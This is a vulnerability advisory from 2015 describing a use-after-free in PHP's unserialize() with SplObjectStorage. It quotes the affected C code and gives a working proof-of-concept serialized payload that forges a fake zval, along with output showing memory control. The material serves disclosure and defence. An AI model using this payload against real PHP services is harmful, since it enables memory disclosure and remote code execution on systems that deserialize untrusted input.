#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage
Taoguang Chen <@chtg> - Write Date: 2015.8.27 - Release Date: 2015.9.4
A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45
This vulnerability was disclosed by Taoguang Chen.
ALLOC_INIT_ZVAL(pentry);
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pentry);
goto outexcept;
}
if(Z_TYPE_P(pentry) != IS_OBJECT) {
goto outexcept;
}
ALLOC_INIT_ZVAL(pinf);
if (*p == ',') { /* new version has inf */
++p;
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pinf);
goto outexcept;
}
}
It has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
<?php
class obj {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
$data = unserialize($exploit);
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(5) {
[0]=>
int(1)
[1]=>
&int(1)
[2]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
[3]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
[4]=>
string(24) "?v?B????"
}